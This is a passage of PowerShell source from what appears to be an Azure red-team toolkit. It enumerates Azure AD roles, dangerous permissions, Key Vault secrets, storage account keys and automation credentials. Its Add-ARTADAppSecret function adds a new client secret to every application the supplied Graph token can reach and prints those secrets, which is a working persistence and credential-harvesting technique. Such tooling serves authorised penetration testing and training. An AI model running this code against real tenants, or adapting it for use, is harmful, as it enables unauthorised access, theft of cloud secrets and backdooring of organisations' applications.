$AutomationAccount.AutomationAccountName -ResourceGroupName $AutomationAccount.ResourceGroupName | % { 2688 | $Credential = $_ 2689 | 2690 | Write-Verbose "`tPulling credential $($Runbook.Name) ..." 2691 | 2692 | $obj = [PSCustomObject]@{ 2693 | Name = $_.Name 2694 | UserName = $_.UserName 2695 | ResourceGroupName = $_.ResourceGroupName 2696 | AutomationAccountName = $_.AutomationAccountName 2697 | CreationTime = $_.CreationTime 2698 | LastModifiedTime = $_.LastModifiedTime 2699 | Description = $_.Description 2700 | } 2701 | 2702 | $null = $Coll.Add($obj) 2703 | 2704 | } 2705 | 2706 | if(($SubscriptionId -ne $null -and $SubscriptionId.Length -gt 0) -and ($AutomationAccountName -ne $null -and $AutomationAccountName.Length -gt 0) -and ($ResourceGroupName -ne $null -and $ResourceGroupName.Length -gt 0)) { 2707 | break 2708 | } 2709 | } 2710 | } 2711 | 2712 | Return $Coll 2713 | } 2714 | catch { 2715 | Write-Host "[!] Function failed!" -ForegroundColor Red 2716 | Throw 2717 | Return 2718 | } 2719 | finally { 2720 | $ErrorActionPreference = $EA 2721 | } 2722 | } 2723 | 2724 | 2725 | Function Get-ARTADRoleAssignment { 2726 | <# 2727 | .SYNOPSIS 2728 | Displays Azure AD Role assignment. 2729 | 2730 | .DESCRIPTION 2731 | Displays Azure AD Role assignments on a current user or on all Azure AD users. 2732 | 2733 | .PARAMETER All 2734 | Display all Azure AD role assignments 2735 | 2736 | .EXAMPLE 2737 | Example 1: Get current user Azure AD Role Assignment 2738 | PS> Get-ARTADRoleAssignment 2739 | 2740 | Example 2: Get all users Azure AD Role Assignments 2741 | PS> Get-ARTADRoleAssignment -All 2742 | #> 2743 | 2744 | [CmdletBinding()] 2745 | Param( 2746 | [Parameter(Mandatory=$False)] 2747 | [Switch] 2748 | $All 2749 | ) 2750 | 2751 | try { 2752 | $EA = $ErrorActionPreference 2753 | $ErrorActionPreference = 'silentlycontinue' 2754 | 2755 | $Coll = New-Object System.Collections.ArrayList 2756 | $UserId = Get-ARTUserId 2757 | $count = 0 2758 | 2759 | Get-AzureADDirectoryRole | % { 2760 | Write-Verbose "Enumerating role `"$($_.DisplayName)`" ..." 2761 | $members = Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId 2762 | 2763 | $RoleName = $_.DisplayName 2764 | $RoleId = $_.ObjectId 2765 | 2766 | $members | % { 2767 | $obj = [PSCustomObject]@{ 2768 | DisplayName = $_.DisplayName 2769 | AssignedRoleName = $RoleName 2770 | ObjectType = $_.ObjectType 2771 | AccountEnabled = $_.AccountEnabled 2772 | ObjectId = $_.ObjectId 2773 | AssignedRoleId = $RoleId 2774 | } 2775 | 2776 | if ($All -or $_.ObjectId -eq $UserId) { 2777 | $null = $Coll.Add($obj) 2778 | $count += 1 2779 | } 2780 | } 2781 | } 2782 | 2783 | $Coll 2784 | 2785 | if($count -eq 0) { 2786 | Write-Host "[-] No Azure AD Role assignment found on current user." -ForegroundColor Red 2787 | Write-Warning "Try running Get-ARTADRoleAssignment -All to see all role assignments.`n" 2788 | } 2789 | } 2790 | catch { 2791 | Write-Host "[!] Function failed!" -ForegroundColor Red 2792 | Throw 2793 | Return 2794 | } 2795 | finally { 2796 | $ErrorActionPreference = $EA 2797 | } 2798 | } 2799 | 2800 | 2801 | Function Get-ARTADScopedRoleAssignment { 2802 | <# 2803 | .SYNOPSIS 2804 | Displays Azure AD Scoped Role assignment - those associated with Administrative Units 2805 | 2806 | .DESCRIPTION 2807 | Displays Azure AD Scoped Role assignments on a current user or on all Azure AD users, associated with Administrative Units 2808 | 2809 | .PARAMETER All 2810 | Display all Azure AD role assignments 2811 | 2812 | .EXAMPLE 2813 | Example 1: Get current user Azure AD Scoped Role Assignment 2814 | PS> Get-ARTADScopedRoleAssignment 2815 | 2816 | Example 2: Get all users Azure AD Scoped Role Assignments 2817 | PS> Get-ARTADScopedRoleAssignment -All 2818 | #> 2819 | 2820 | [CmdletBinding()] 2821 | Param( 2822 | [Parameter(Mandatory=$False)] 2823 | [Switch] 2824 | $All 2825 | ) 2826 | 2827 | try { 2828 | $EA = $ErrorActionPreference 2829 | $ErrorActionPreference = 'silentlycontinue' 2830 | 2831 | $Coll = New-Object System.Collections.ArrayList 2832 | $UserId = Get-ARTUserId 2833 | $count = 0 2834 | 2835 | Get-AzureADMSAdministrativeUnit | % { 2836 | Write-Verbose "Enumerating Scoped role `"$($_.DisplayName)`" ..." 2837 | $members = Get-AzureADMSScopedRoleMembership -Id $_.Id 2838 | 2839 | $RoleName = $_.DisplayName 2840 | $RoleId = $_.Id 2841 | $RoleDescription = $_.Description 2842 | 2843 | $members | % { 2844 | $obj = [PSCustomObject]@{ 2845 | DisplayName = $_.RoleMemberInfo.DisplayName 2846 | ScopedRoleName = $RoleName 2847 | UserId = $_.RoleMemberInfo.Id 2848 | UserPrincipalName = $_.RoleMemberInfo.UserPrincipalName 2849 | ScopedRoleId = $RoleId 2850 | ScopedRoleDescription = $RoleDescription 2851 | } 2852 | 2853 | if (($All) -or ($_.RoleMemberInfo.Id -eq $UserId)) { 2854 | $null = $Coll.Add($obj) 2855 | $count += 1 2856 | } 2857 | } 2858 | } 2859 | 2860 | $Coll 2861 | 2862 | if($count -eq 0) { 2863 | Write-Host "[-] No Azure AD Scoped Role assignment found." -ForegroundColor Red 2864 | Write-Warning "Try running Get-ARTADScopedRoleAssignment -All to see all scoped role assignments`n" 2865 | } 2866 | } 2867 | catch { 2868 | Write-Host "[!] Function failed!" -ForegroundColor Red 2869 | Throw 2870 | Return 2871 | } 2872 | finally { 2873 | $ErrorActionPreference = $EA 2874 | } 2875 | } 2876 | 2877 | 2878 | Function Get-ARTAccess { 2879 | <# 2880 | .SYNOPSIS 2881 | Performs Azure Situational Awareness. 2882 | 2883 | .PARAMETER SubscriptionId 2884 | Optional parameter specifying Subscription to examine. 2885 | 2886 | .DESCRIPTION 2887 | Enumerate all accessible Azure resources, permissions, roles assigned for a quick Situational Awareness. 2888 | 2889 | .EXAMPLE 2890 | PS> Get-ARTAccess -Verbose 2891 | #> 2892 | [CmdletBinding()] 2893 | Param( 2894 | [Parameter(Mandatory=$False)] 2895 | [String] 2896 | $SubscriptionId = $null 2897 | ) 2898 | 2899 | try { 2900 | $EA = $ErrorActionPreference 2901 | $ErrorActionPreference = 'silentlycontinue' 2902 | 2903 | try { 2904 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 2905 | $SubscriptionId = Get-ARTSubscriptionId 2906 | } 2907 | 2908 | Set-AzContext -Subscription $SubscriptionId | Out-Null 2909 | 2910 | $res = Get-AzResource 2911 | 2912 | Write-Host "=== (1) Available Tenants:`n" -ForegroundColor Yellow 2913 | $tenants = Get-ARTTenants 2914 | 2915 | if ($tenants -ne $null) { 2916 | Write-Host "[+] Azure Tenants are available for the current user:" -ForegroundColor Green 2917 | $tenants | fl 2918 | } 2919 | 2920 | Write-Verbose "Step 2. Checking Dangerous Permissions that User has on Azure Resources..." 2921 | Write-Host "=== (2) Dangerous Permissions on Azure Resources:`n" -ForegroundColor Yellow 2922 | $res = Get-ARTDangerousPermissions -SubscriptionId $SubscriptionId 2923 | 2924 | if ($res -ne $null ) { 2925 | Write-Host "[+] Following Dangerous Permissions were Identified on Azure Resources:" -ForegroundColor Green 2926 | $res | fl 2927 | } 2928 | else { 2929 | Write-Host "[-] User does not have any well-known dangerous permissions.`n" -ForegroundColor Red 2930 | } 2931 | 2932 | Write-Verbose "Step 3. Checking accessible Azure Resources..." 2933 | 2934 | Write-Host "=== (3) Accessible Azure Resources:`n" -ForegroundColor Yellow 2935 | $res = Get-ARTResource -SubscriptionId $SubscriptionId 2936 | 2937 | if ($res -ne $null) { 2938 | Write-Host "[+] Accessible Azure Resources & corresponding permissions:" -ForegroundColor Green 2939 | $res | fl 2940 | } 2941 | else { 2942 | Write-Host "[-] User does not have access to any Azure Resource.`n" -ForegroundColor Red 2943 | } 2944 | 2945 | try { 2946 | Write-Verbose "Step 4. Checking assigned Azure RBAC Roles..." 2947 | Write-Host "=== (4) Assigned Azure RBAC Roles:`n" -ForegroundColor Yellow 2948 | 2949 | $roles = Get-ARTRoleAssignment 2950 | 2951 | if ($roles -ne $null ) { 2952 | Write-Host "[+] Azure RBAC Roles Assigned:" -ForegroundColor Green 2953 | $roles | ft 2954 | } 2955 | else { 2956 | Write-Host "[-] User does not have any Azure RBAC Role assigned.`n" -ForegroundColor Red 2957 | } 2958 | } 2959 | catch { 2960 | Write-Host "[-] User does not have any Azure RBAC Role assigned or exception was thrown.`n" -ForegroundColor Red 2961 | } 2962 | 2963 | try { 2964 | Write-Verbose "Step 5. Checking accessible Azure Key Vault Secrets..." 2965 | Write-Host "=== (5) Accessible Azure Key Vault Secrets:`n" -ForegroundColor Yellow 2966 | $secrets = Get-ARTKeyVaultSecrets 2967 | 2968 | if ($secrets -ne $null) { 2969 | Write-Host "[+] Azure Key Vault Secrets accessible:" -ForegroundColor Green 2970 | $secrets | fl 2971 | } 2972 | else { 2973 | Write-Host "[-] User could not access Key Vault Secrets or there were no available.`n" -ForegroundColor Red 2974 | } 2975 | } 2976 | catch { 2977 | Write-Host "[-] User could not access Key Vault Secrets or there were no available or exception was thrown.`n" -ForegroundColor Red 2978 | } 2979 | 2980 | try { 2981 | Write-Verbose "Step 6. Checking accessible Storage Account Keys..." 2982 | Write-Host "=== (6) Accessible Storage Account Keys:`n" -ForegroundColor Yellow 2983 | $secrets = Get-ARTStorageAccountKeys 2984 | 2985 | if ($secrets -ne $null) { 2986 | Write-Host "[+] Storage Account Keys accessible:" -ForegroundColor Green 2987 | $secrets | fl 2988 | } 2989 | else { 2990 | Write-Host "[-] User could not access Storage Account Keys or there were no available.`n" -ForegroundColor Red 2991 | } 2992 | } 2993 | catch { 2994 | Write-Host "[-] User could not access Storage Account Keys or there were no available or exception was thrown.`n" -ForegroundColor Red 2995 | } 2996 | 2997 | try { 2998 | Write-Verbose "Step 7. Checking accessible Automation Account Secrets..." 2999 | Write-Host "=== (7) Accessible Automation Account Secrets:`n" -ForegroundColor Yellow 3000 | $secrets = Get-ARTAutomationCredentials 3001 | 3002 | if ($secrets -ne $null) { 3003 | Write-Host "[+] Automation Account Secrets accessible:" -ForegroundColor Green 3004 | $secrets | fl 3005 | } 3006 | else { 3007 | Write-Host "[-] User could not access Automation Account Secrets or there were no available.`n" -ForegroundColor Red 3008 | } 3009 | } 3010 | catch { 3011 | Write-Host "[-] User could not access Automation Account Secrets or there were no available or exception was thrown.`n" -ForegroundColor Red 3012 | } 3013 | 3014 | try { 3015 | Write-Verbose "Step 8. Checking access to Az.AD / AzureAD via Az module..." 3016 | Write-Host "=== (8) User Access to Az.AD:`n" -ForegroundColor Yellow 3017 | $users = Get-AzADUser -First 1 -ErrorAction SilentlyContinue 3018 | 3019 | if ($users -ne $null -and $users.Length -gt 0) { 3020 | Write-Host "[+] User has access to Azure AD via Az.AD module (e.g. Get-AzADUser).`n" -ForegroundColor Green 3021 | } 3022 | else { 3023 | Write-Host "[-] User has no access to Azure AD via Az.AD module (e.g. Get-AzADUser).`n" -ForegroundColor Red 3024 | } 3025 | } 3026 | catch { 3027 | Write-Host "[-] User has no access to Azure AD via Az.AD module (e.g. Get-AzADUser) or exception was thrown.`n" -ForegroundColor Red 3028 | } 3029 | 3030 | try { 3031 | Write-Verbose "Step 9. Enumerating resource group deployments..." 3032 | Write-Host "=== (9) Resource Group Deployments:`n" -ForegroundColor Yellow 3033 | 3034 | $resourcegroups = Get-AzResourceGroup 3035 | 3036 | if($resourcegroups -eq $null -or $resourcegroups.Length -eq 0) { 3037 | Write-Host "[-] No resource groups available to the user.`n" -ForegroundColor Red 3038 | } 3039 | else { 3040 | $found = $false 3041 | 3042 | $resourcegroups | % { 3043 | $deployments = Get-AzResourceGroupDeployment -ResourceGroupName $_.ResourceGroupName -ErrorAction SilentlyContinue 3044 | 3045 | Write-Host "[+] Following Resource Group Deployments are available to the User:" -ForegroundColor Green 3046 | $found = $true 3047 | 3048 | $deployments 3049 | 3050 | Write-Host "[.] Pull their deployment template JSONs using commands:" -ForegroundColor Magenta 3051 | $deployments | Select ResourceGroupName,DeploymentName | % { 3052 | Write-Host "`tGet-ARTResourceGroupDeploymentTemplate -ResourceGroupName $($_.ResourceGroupName) -DeploymentName $($_.DeploymentName)" 3053 | } 3054 | } 3055 | 3056 | if ($found -eq $false) { 3057 | Write-Host "[-] User has no access to Resource Group Deployments or there were no defined.`n" -ForegroundColor Red 3058 | } 3059 | } 3060 | } 3061 | catch { 3062 | Write-Host "[-] User has no access to Resource Group Deployments or there were no defined or exception was thrown.`n" -ForegroundColor Red 3063 | } 3064 | } 3065 | catch { 3066 | Write-Host "[-] Current User context does not have access to Azure management.`n" -ForegroundColor Red 3067 | 3068 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 3069 | throw 3070 | } 3071 | } 3072 | } 3073 | catch { 3074 | Write-Host "[!] Function failed!" -ForegroundColor Red 3075 | Throw 3076 | Return 3077 | } 3078 | finally { 3079 | $ErrorActionPreference = $EA 3080 | } 3081 | } 3082 | 3083 | 3084 | Function Get-ARTADAccess { 3085 | <# 3086 | .SYNOPSIS 3087 | Performs Azure AD Situational Awareness. 3088 | 3089 | .DESCRIPTION 3090 | Enumerate all Azure AD permissions, roles assigned for a quick Situational Awareness. 3091 | 3092 | .PARAMETER AccessToken 3093 | Access Token to use for authentication. Optional, will try to acquire token automatically. 3094 | 3095 | .EXAMPLE 3096 | PS> Get-ARTADAccess -Verbose 3097 | #> 3098 | [CmdletBinding()] 3099 | Param( 3100 | [Parameter(Mandatory=$False)] 3101 | [String] 3102 | $AccessToken 3103 | ) 3104 | 3105 | try { 3106 | $EA = $ErrorActionPreference 3107 | $ErrorActionPreference = 'silentlycontinue' 3108 | 3109 | try { 3110 | $users = Get-AzureADUser 3111 | $UserId = Get-ARTUserId 3112 | $who = "User" 3113 | 3114 | if ($users -eq $null -or $users.Length -eq 0) { 3115 | Write-Host "[-] $who does not have access to Azure AD." -ForegroundColor Red 3116 | Return 3117 | } 3118 | 3119 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 3120 | $AccessToken = Get-ARTAccessTokenAz -Resource "https://graph.microsoft.com" 3121 | } 3122 | 3123 | Write-Verbose "Step 1. Enumerating current $who group membership..." 3124 | Write-Host "`n=== (1) Azure AD Groups that $who is member of:`n" -ForegroundColor Yellow 3125 | 3126 | try { 3127 | $sp = $null 3128 | try { 3129 | $sp = Get-AzureADServicePrincipal | ? { $_.ServicePrincipalNames -contains $UserId } 3130 | } 3131 | catch { 3132 | } 3133 | 3134 | $groups = $null 3135 | 3136 | if($sp -ne $null) { 3137 | $who = "Service Principal" 3138 | Write-Host "[.] Authenticated as Service Principal." -ForegroundColor Green 3139 | 3140 | try { 3141 | $groups = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 3142 | }catch{} 3143 | } 3144 | else { 3145 | try { 3146 | $groups = Get-AzureADUserMembership -ObjectId $UserId 3147 | }catch{} 3148 | } 3149 | 3150 | if ($groups -ne $null -and $groups.Length -gt 0) { 3151 | Write-Host "[+] $who is member of following Azure AD Groups:" -ForegroundColor Green 3152 | $groups | ft 3153 | } 3154 | else { 3155 | Write-Host "[-] $who is not a member of any Azure AD Group." -ForegroundColor Red 3156 | } 3157 | } 3158 | catch { 3159 | Write-Host "[-] $who is not a member of any Azure AD Group." -ForegroundColor Red 3160 | Write-Host "[-] Exception occured during Get-AzureADUserMembership:" -ForegroundColor Red 3161 | $Error[0].Exception.InnerException.StackTrace 3162 | } 3163 | 3164 | Write-Verbose "Step 2. Checking assigned Azure AD Roles..." 3165 | Write-Host "`n=== (2) Azure AD Roles assigned to current $($who):`n" -ForegroundColor Yellow 3166 | try { 3167 | $roles = Get-ARTADRoleAssignment 3168 | 3169 | if ($roles -ne $null -and $roles.Length -gt 0) { 3170 | Write-Host "[+] Azure AD Roles Assigned:" -ForegroundColor Green 3171 | $roles | ft 3172 | } 3173 | else { 3174 | #Write-Host "[-] $who does not have any Azure AD Roles assigned." -ForegroundColor Red 3175 | 3176 | try { 3177 | if(Get-Command Get-MGContext) { 3178 | $users = Get-MgUser -ErrorAction SilentlyContinue 3179 | 3180 | if ($users -eq $null -or $users.Length -eq 0) { 3181 | Write-Verbose "[-] $who does not have access to Microsoft.Graph either." -ForegroundColor Red 3182 | } 3183 | else { 3184 | $roles = Get-ARTADRoleAssignment 3185 | if ($roles -ne $null -and $roles.Length -gt 0) { 3186 | Write-Host "[+] However user does have access via Microsoft Graph to Azure AD - and these are his Roles Assigned:" -ForegroundColor Green 3187 | $roles | ft 3188 | } 3189 | } 3190 | } 3191 | } 3192 | catch { 3193 | Write-Verbose "[-] Could not enumerate Azure AD Roles via Microsoft.Graph either." 3194 | } 3195 | } 3196 | } 3197 | catch { 3198 | Write-Host "[-] Exception occured during Get-ARTADRoleAssignment:" -ForegroundColor Red 3199 | $Error[0].Exception.InnerException.StackTrace 3200 | } 3201 | 3202 | Write-Verbose "Step 3. Checking Azure AD Scoped Roles..." 3203 | Write-Host "`n=== (3) Azure AD Scoped Roles assigned to current $($who):`n" -ForegroundColor Yellow 3204 | try { 3205 | $roles = Get-ARTADScopedRoleAssignment 3206 | 3207 | if ($roles -ne $null ) { 3208 | Write-Host "[+] Azure AD Scoped Roles Assigned:" -ForegroundColor Green 3209 | $roles | ft 3210 | } 3211 | else { 3212 | #Write-Host "[-] $who does not have any Azure AD Scoped Roles assigned." -ForegroundColor Red 3213 | } 3214 | } 3215 | catch { 3216 | Write-Host "[-] Exception occured during Get-ARTADScopedRoleAssignment:" -ForegroundColor Red 3217 | $Error[0].Exception.InnerException.StackTrace 3218 | } 3219 | 3220 | Write-Verbose "Step 4. Checking Azure AD Applications owned..." 3221 | Write-Host "`n=== (4) Azure AD Applications Owned By Current $($who):`n" -ForegroundColor Yellow 3222 | try { 3223 | $apps = Get-ARTApplication 3224 | 3225 | if ($apps -ne $null ) { 3226 | Write-Host "[+] Azure AD Applications Owned:" -ForegroundColor Green 3227 | $apps | fl 3228 | } 3229 | else { 3230 | Write-Host "[-] $who does not own any Azure AD Application." -ForegroundColor Red 3231 | } 3232 | } 3233 | catch { 3234 | Write-Host "[-] $who does not own any Azure AD Application." -ForegroundColor Red 3235 | Write-Host "[-] Exception occured during Get-ARTApplication:" -ForegroundColor Red 3236 | $Error[0].Exception.InnerException.StackTrace 3237 | } 3238 | 3239 | Write-Verbose "Step 5. Checking Azure AD Dynamic Groups..." 3240 | Write-Host "`n=== (5) Azure AD Dynamic Groups:`n" -ForegroundColor Yellow 3241 | try { 3242 | $dynamicGroups = Get-ARTADDynamicGroups -AccessToken $AccessToken 3243 | 3244 | if ($dynamicGroups -ne $null ) { 3245 | Write-Host "[+] Azure AD Dynamic Groups:" -ForegroundColor Green 3246 | $dynamicGroups | ft 3247 | } 3248 | else { 3249 | Write-Host "[-] No Azure AD Dynamic Groups found." -ForegroundColor Red 3250 | } 3251 | } 3252 | catch { 3253 | Write-Host "[-] Could not pull Azure AD Dynamic Groups." -ForegroundColor Red 3254 | Write-Host "[-] Exception occured during Get-ARTADDynamicGroups:" -ForegroundColor Red 3255 | $Error[0].Exception.InnerException.StackTrace 3256 | } 3257 | 3258 | Write-Verbose "Step 6. Examining Administrative Units..." 3259 | Write-Host "`n=== (6) Azure AD Administrative Units:`n" -ForegroundColor Yellow 3260 | 3261 | $Coll = New-Object System.Collections.ArrayList 3262 | try { 3263 | $units = Get-AzureADMSAdministrativeUnit 3264 | 3265 | $units | % { 3266 | Write-Verbose "Enumerating unit `"$($_.DisplayName)`" ..." 3267 | $members = Get-AzureADMSAdministrativeUnitMember -Id $_.Id 3268 | 3269 | $obj = [PSCustomObject]@{ 3270 | AdministrativeUnit = $_.DisplayName 3271 | MembersCount = $members.Length 3272 | Description = $_.Description 3273 | AdministrativeUnitId = $_.Id 3274 | } 3275 | 3276 | $null = $Coll.Add($obj) 3277 | } 3278 | 3279 | if ($Coll -ne $null) { 3280 | Write-Host "[+] Azure AD Administrative Units:" -ForegroundColor Green 3281 | $Coll | sort -property MembersCount -Descending | ft 3282 | } 3283 | else { 3284 | Write-Host "[-] Could not list Azure AD Administrative Units." -ForegroundColor Red 3285 | } 3286 | } 3287 | catch { 3288 | Write-Host "[-] Could not list Azure AD Administrative Units." -ForegroundColor Red 3289 | Write-Host "[-] Exception occured during Get-AzureADMSAdministrativeUnit:" -ForegroundColor Red 3290 | $Error[0].Exception.InnerException.StackTrace 3291 | } 3292 | 3293 | Write-Verbose "Step 7. Checking Azure AD Roles that are In-Use..." 3294 | Write-Host "`n=== (7) Azure AD Roles Assigned In Tenant To Different Users:`n" -ForegroundColor Yellow 3295 | 3296 | $Coll = New-Object System.Collections.ArrayList 3297 | try { 3298 | $azureadroles = Get-AzureADDirectoryRole 3299 | 3300 | $azureadroles | % { 3301 | Write-Verbose "Enumerating role `"$($_.DisplayName)`" ..." 3302 | $members = Get-AzureADDirectoryRoleMember -ObjectId $_.ObjectId 3303 | 3304 | $RoleName = $_.DisplayName 3305 | $RoleId = $_.ObjectId 3306 | 3307 | $obj = [PSCustomObject]@{ 3308 | RoleName = $RoleName 3309 | MembersCount = $members.Length 3310 | IsCustom = -not $_.IsSystem 3311 | RoleId = $RoleId 3312 | } 3313 | 3314 | $null = $Coll.Add($obj) 3315 | } 3316 | 3317 | if ($Coll -ne $null) { 3318 | Write-Host "[+] Azure AD Roles In-Use:" -ForegroundColor Green 3319 | $Coll | sort -property MembersCount -Descending | ft 3320 | } 3321 | else { 3322 | Write-Host "[-] Could not list Azure AD Roles In-Use." -ForegroundColor Red 3323 | } 3324 | } 3325 | catch { 3326 | Write-Host "[-] Could not list Azure AD Roles In-Use." -ForegroundColor Red 3327 | Write-Host "[-] Exception occured during Get-AzureADDirectoryRoleMember:" -ForegroundColor Red 3328 | $Error[0].Exception.InnerException.StackTrace 3329 | } 3330 | 3331 | Write-Verbose "Step 8. Checking Azure AD Application Proxies..." 3332 | Write-Host "`n=== (8) Azure AD Application Proxies (be patient, this takes more time...):`n" -ForegroundColor Yellow 3333 | try { 3334 | $apps = Get-ARTApplicationProxy 3335 | 3336 | if ($apps -ne $null ) { 3337 | Write-Host "[+] Azure AD Application Proxies:" -ForegroundColor Green 3338 | $apps | ft 3339 | } 3340 | else { 3341 | Write-Host "[-] No Azure AD Application Proxies found." -ForegroundColor Red 3342 | } 3343 | } 3344 | catch { 3345 | Write-Host "[-] Could not find Azure AD Application Proxy." -ForegroundColor Red 3346 | Write-Host "[-] Exception occured during Get-ARTApplicationProxy:" -ForegroundColor Red 3347 | $Error[0].Exception.InnerException.StackTrace 3348 | } 3349 | } 3350 | catch { 3351 | Write-Host "[-] Current User context does not have access to Azure AD.`n" -ForegroundColor Red 3352 | 3353 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 3354 | throw 3355 | } 3356 | } 3357 | } 3358 | catch { 3359 | Write-Host "[!] Function failed!" -ForegroundColor Red 3360 | Throw 3361 | Return 3362 | } 3363 | finally { 3364 | $ErrorActionPreference = $EA 3365 | } 3366 | } 3367 | 3368 | 3369 | Function Invoke-ARTGETRequest { 3370 | <# 3371 | .SYNOPSIS 3372 | Invokes REST Method GET to the specified URI. 3373 | 3374 | .DESCRIPTION 3375 | Takes Access Token and invokes REST method API request against a specified URI. It also verifies whether provided token has required audience set. 3376 | 3377 | .PARAMETER Uri 3378 | URI to invoke. For instance: https://graph.microsoft.com/v1.0/applications 3379 | 3380 | .PARAMETER AccessToken 3381 | Access Token to use for authentication. Optional, will try to acquire token automatically. 3382 | 3383 | .PARAMETER Json 3384 | Return results as JSON. 3385 | 3386 | .EXAMPLE 3387 | PS> Invoke-ARTGETRequest -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -AccessToken $token 3388 | #> 3389 | 3390 | [CmdletBinding()] 3391 | Param( 3392 | [Parameter(Mandatory=$True)] 3393 | [String] 3394 | $Uri, 3395 | 3396 | [Parameter(Mandatory=$False)] 3397 | [String] 3398 | $AccessToken, 3399 | 3400 | [Parameter(Mandatory=$False)] 3401 | [Switch] 3402 | $Json 3403 | ) 3404 | 3405 | try { 3406 | $EA = $ErrorActionPreference 3407 | $ErrorActionPreference = 'silentlycontinue' 3408 | 3409 | $requesthost = ([System.Uri]$Uri).Host 3410 | 3411 | if($AccessToken -eq $null -or $AccessToken.Length -eq 0) { 3412 | $AccessToken = Get-ARTAccessTokenAz -Resource "https://$requesthost" 3413 | } 3414 | 3415 | $parsed = Parse-JWTtokenRT $AccessToken 3416 | 3417 | $tokenhost = ([System.Uri]$parsed.aud).Host 3418 | 3419 | if($tokenhost -ne $requesthost) { 3420 | Write-Warning "Request Host ($requesthost) differs from Token Audience host ($tokenhost). Authentication failure may occur." 3421 | } 3422 | 3423 | $params = @{ 3424 | Method = 'GET' 3425 | Uri = $Uri 3426 | Headers = @{ 3427 | 'Authorization' = "Bearer $AccessToken" 3428 | } 3429 | } 3430 | 3431 | $out = Invoke-RestMethod @params 3432 | 3433 | if (($out.PSobject.Properties.Length -eq 1) -and ([bool]($out.PSobject.Properties.name -match "value"))) { 3434 | $out = $out.value 3435 | } 3436 | 3437 | if($Json) { 3438 | $out | ConvertTo-Json 3439 | } 3440 | else { 3441 | $out 3442 | } 3443 | } 3444 | catch { 3445 | Write-Host "[!] Function failed!" -ForegroundColor Red 3446 | Throw 3447 | Return 3448 | } 3449 | finally { 3450 | $ErrorActionPreference = $EA 3451 | } 3452 | } 3453 | 3454 | 3455 | # 3456 | # This function is (probably) authored by: 3457 | # Nikhil Mittal, @nikhil_mitt 3458 | # https://twitter.com/nikhil_mitt 3459 | # 3460 | # Code was taken from Nikhil's Azure Red Team Bootcamp: 3461 | # C:\AzAD\Tools\Add-AzADAppSecret.ps1 3462 | # 3463 | Function Add-ARTADAppSecret { 3464 | <# 3465 | .SYNOPSIS 3466 | Add client secret to the applications. 3467 | 3468 | .PARAMETER AccessToken 3469 | Pass the Graph API Token. 3470 | 3471 | .EXAMPLE 3472 | PS C:\> Add-ARTADAppSecret -AccessToken 'eyJ0eX..' 3473 | 3474 | .LINK 3475 | https://twitter.com/nikhil_mitt 3476 | https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http 3477 | https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http 3478 | #> 3479 | 3480 | [CmdletBinding()] 3481 | param( 3482 | [Parameter(Mandatory=$True)] 3483 | [String] 3484 | $AccessToken = $null 3485 | ) 3486 | 3487 | try { 3488 | $EA = $ErrorActionPreference 3489 | $ErrorActionPreference = 'silentlycontinue' 3490 | 3491 | $AppList = $null 3492 | $AppPassword = $null 3493 | 3494 | $parsed = Parse-JWTtokenRT $AccessToken 3495 | 3496 | $tokenhost = ([System.Uri]$parsed.aud).Host 3497 | $requesthost = "graph.microsoft.com" 3498 | 3499 | if($tokenhost -ne $requesthost) { 3500 | Write-Warning "Supplied Access Token's Audience host `"$tokenhost`" is not `"https://graph.microsoft.com`"! Authentication failure may occur." 3501 | } 3502 | 3503 | # List All the Applications 3504 | $Params = @{ 3505 | "URI" = "https://graph.microsoft.com/v1.0/applications" 3506 | "Method" = "GET" 3507 | "Headers" = @{ 3508 | "Content-Type" = "application/json" 3509 | "Authorization" = "Bearer $AccessToken" 3510 | } 3511 | } 3512 | 3513 | try { 3514 | $AppList = Invoke-RestMethod @Params -UseBasicParsing 3515 | } 3516 | catch { 3517 | } 3518 | 3519 | # Add Password in the Application 3520 | if($AppList -ne $null) { 3521 | 3522 | [System.Collections.ArrayList]$Details = @() 3523 | 3524 | foreach($App in $AppList.value) { 3525 | $ID = $App.ID 3526 | $psobj = New-Object PSObject 3527 | 3528 | $Params = @{ 3529 | "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" 3530 | "Method" = "POST" 3531 | "Headers" = @{ 3532 | "Content-Type" = "application/json" 3533 | "Authorization" = "Bearer $AccessToken" 3534 | } 3535 | } 3536 | 3537 | $Body = @{ 3538 | "passwordCredential"= @{ 3539 | "displayName" = "Password" 3540 | } 3541 | } 3542 | 3543 | try { 3544 | $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 3545 | Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID 3546 | Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId 3547 | Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName 3548 | Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId 3549 | Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText 3550 | $Details.Add($psobj) | Out-Null 3551 | } 3552 | catch { 3553 | Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 3554 | } 3555 | } 3556 | 3557 | if($Details -ne $null) { 3558 | Write-Output "`nClient secret added to:" 3559 | Write-Output $Details | fl * 3560 | } 3561 | } 3562 | else { 3563 | Write-Output "Failed to Enumerate the Applications." 3564 | } 3565 | } 3566 | catch { 3567 | Write-Host "[!] Function failed!" -ForegroundColor Red 3568 | Throw 3569 | Return 3570 | } 3571 | finally { 3572 | $ErrorActionPreference = $EA 3573 | } 3574 | } 3575 | 3576 | 3577 | Function Get-ARTAzVMPublicIP { 3578 | <# 3579 | .SYNOPSIS 3580 | Retrieves Azure VM Public IP address 3581 | 3582 | .DESCRIPTION 3583 | Retrieves Azure VM Public IP Address 3584 | 3585 | .PARAMETER VMName 3586 | Specifies Azure VM name to target. 3587 | 3588 | .PARAMETER ResourceGroupName 